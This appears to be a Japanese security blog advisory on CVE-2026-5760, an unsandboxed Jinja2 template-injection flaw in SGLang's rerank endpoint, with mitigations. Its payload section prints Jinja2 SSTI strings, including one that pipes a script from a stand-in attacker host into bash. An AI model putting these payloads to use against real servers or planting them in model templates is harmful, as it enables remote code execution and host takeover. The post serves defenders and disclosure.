SJ blog
security
S

信頼度ランク

S 公式ソース確認済み
A 成功実績多数・失敗例少数
B 賛否両論
C 動作未確認・セキュリティリスク高
Z 個人所感

SGLang CVE-2026-5760(CVSS 9.8)——悪意あるGGUFモデルが推論サーバーをRCEに陥らせるJinja2 SSTI攻撃

SGLang 0.59のリランキングエンドポイント(/v1/rerank)にCVSS 9.8のRCE脆弱性。HuggingFaceからダウンロードした悪意あるGGUFモデルのtokenizer.chat_templateにJinja2 SSTIペイロードを仕込むことで任意コードを実行できる。パッチ未提供、即時緩和策を解説。

一言結論

SGLangのリランキングエンドポイントはGGUFモデルのchat_templateをサンドボックスなしのjinja2.Environment()で実行するため、細工されたモデルをHuggingFaceからダウンロードするだけでサーバーを完全制圧できる。公式パッチは存在せず、ImmutableSandboxedEnvironmentへの切り替えのみが現時点での緩和手段だ。

概要

2026年4月20日、CERT/CCがCVE-2026-5760を公開した。SGLang(高性能LLM推論フレームワーク)のリランキングエンドポイントにCVSS 9.8のリモートコード実行(RCE)脆弱性が存在する。

CVE-2026-5760
  CVSS:     9.8 (Critical)
  影響製品: SGLang 0.59
  攻撃経路: ネットワーク(認証不要)
  影響:     任意コード実行、ホスト全制圧
  パッチ:   なし(2026年4月27日時点)

LLMをローカルやクラウドでセルフホストしている開発者・MLエンジニアは即座に確認が必要だ。

脆弱性の仕組み

根本原因:サンドボックスなしのJinja2環境

SGLangはGGUF形式のモデルファイルに埋め込まれたtokenizer.chat_templateフィールドをJinja2テンプレートとして処理する。問題はこのテンプレートの評価にjinja2.Environment()を使っており、任意のPythonコードが実行可能な状態になっていることだ。

# ❌ SGLang 0.59の脆弱なコード(概念的)
from jinja2 import Environment

env = Environment()  # サンドボックスなし
result = env.from_string(model.tokenizer.chat_template).render(messages=messages)
# → chat_templateに悪意ペイロードが含まれていると任意コードが実行される
# ✅ 正しい実装
from jinja2.sandbox import ImmutableSandboxedEnvironment

env = ImmutableSandboxedEnvironment()  # 任意コード実行をブロック
result = env.from_string(model.tokenizer.chat_template).render(messages=messages)

攻撃のトリガー:/v1/rerank エンドポイント

脆弱なコードパスは/v1/rerankエンドポイントを通じてトリガーされる。攻撃者は以下の手順でRCEを達成する。

攻撃シナリオ:

  1. 攻撃者がHuggingFaceに悪意あるGGUFモデルを公開
     (正規モデルに見せかけた "malicious-bert-reranker" など)

  2. 開発者が malicious-bert-reranker をダウンロードしてSGLangで起動

  3. /v1/rerank エンドポイントへリクエストが届く

  4. SGLangがGGUFの tokenizer.chat_template を Jinja2 でレンダリング

  5. chat_template 内のSSTIペイロードが実行される:
     {{ ''.__class__.__mro__[1].__subclasses__() ... }}
     → 任意のシェルコマンド実行

  6. 推論サーバーが完全に乗っ取られる

SSTI ペイロードのパターン

Jinja2 SSTIは古典的な攻撃手法で、テンプレート内でPythonのオブジェクト階層を辿ることで任意コードを実行する。

# Jinja2 SSTIの典型パターン(教育目的)
# chat_template フィールドに埋め込まれる例:

# 1. subprocessを呼び出す
{{ ''.__class__.__mro__[1].__subclasses__()[<idx>]('id', shell=True, ...) }}

# 2. os.systemを使う
{{ config.__class__.__init__.__globals__['os'].system('curl attacker.com/shell.sh | bash') }}

これらのペイロードはImmutableSandboxedEnvironmentでは実行がブロックされる。

影響範囲

CVE-2026-5760が悪用されると以下の被害が発生しうる。

深刻度別の影響:

  🔴 最高: ホスト完全制圧
    → 推論サーバーのルート権限取得
    → 社内ネットワークへの横展開(lateral movement)

  🔴 高: データ流出
    → 推論サーバー上の全ファイル・環境変数
    → モデルウェイト・学習データ
    → クラウド認証情報(IMDS経由のIAMロール含む)

  🟠 中: サービス妨害
    → 推論サービスのダウン
    → GPU リソースの無断利用(LLMjacking)

緩和策(パッチ代替)

公式パッチは存在しないため、以下の対応を優先順位順に実施する。

1. ImmutableSandboxedEnvironment に切り替える(根本的解決)

SGLangを直接使っているまたはフォークしているチームは、テンプレートレンダリング箇所を修正する。

# 修正前
from jinja2 import Environment
env = Environment()

# 修正後
from jinja2.sandbox import ImmutableSandboxedEnvironment
env = ImmutableSandboxedEnvironment()

2. /v1/rerank エンドポイントをネットワークレベルで制限する

# nginxでリランキングエンドポイントを内部からのみ許可する例
location /v1/rerank {
    allow 10.0.0.0/8;
    allow 172.16.0.0/12;
    allow 192.168.0.0/16;
    deny all;
    proxy_pass http://sglang_backend;
}

3. モデルを信頼済みソースからのみロードする

# HuggingFaceモデルをダウンロードする前にメタデータを確認
huggingface-cli scan-cache

# モデルファイルのchat_templateを確認するスクリプト
python3 -c "
import json, struct, sys

def read_gguf_metadata(path):
    with open(path, 'rb') as f:
        magic = f.read(4)
        if magic != b'GGUF':
            return None
        # 省略: GGUFヘッダーパース
        pass

# 本番では gguf-metadata パッケージを使用
from gguf import GGUFReader
reader = GGUFReader(sys.argv[1])
for key in reader.fields:
    if 'chat_template' in key:
        print(key, ':', reader.fields[key])
" model.gguf

4. サンドボックス環境でモデルを実行する

# 最小権限のDockerコンテナでSGLangを実行
FROM nvcr.io/nvidia/cuda:12.4.0-base-ubuntu22.04

RUN useradd -m -u 1000 sglang
USER sglang

# 読み取り専用ファイルシステムでモデルボリュームをマウント
# docker run --read-only -v /models:/models:ro ...

背景:モデルファイルもコードと同じくリスクがある

この脆弱性が示す本質的な問題は、モデルファイルがコードと同等のリスクを持つということだ。

開発者が本能的に警戒するもの:
  ✅ 不審なnpmパッケージ
  ✅ 第三者のDockerイメージ
  ✅ 未検証のシェルスクリプト

開発者が警戒しにくいもの:
  ❌ HuggingFaceの"人気"GGUFモデル
  ❌ モデルカード記載の「安全な」モデル
  ❌ フォーク・派生モデルのメタデータ

HuggingFaceはモデルのマルウェアスキャンを行っているが、メタデータのSSTIペイロードは静的解析だけでは検出が難しい。

注意点・未確認情報

  • SGLang 0.59以外のバージョンへの影響は調査中(他のバージョンにも同様のコードパスが存在する可能性がある)
  • 脆弱性の実際の悪用(野良での攻撃)は2026年4月27日時点で確認されていない
  • SGLangメンテナーとのコーディネーションはCERT/CCが試みたが応答なし(パッチ未提供の理由)
  • 他のLLM推論フレームワーク(vLLM, llamafile等)も同様のJinja2使用箇所がないか確認が推奨される

まとめ

  • SGLang 0.59の/v1/rerankエンドポイントはGGUFのchat_templateをサンドボックスなしで実行しRCEを許す
  • 根本的な修正はImmutableSandboxedEnvironmentへの切り替えのみ(公式パッチなし)
  • 今すぐ: エンドポイントのネットワーク制限 + 使用モデルのchat_template確認
  • モデルファイルはnpmパッケージと同等の信頼性検証が必要

参考リンク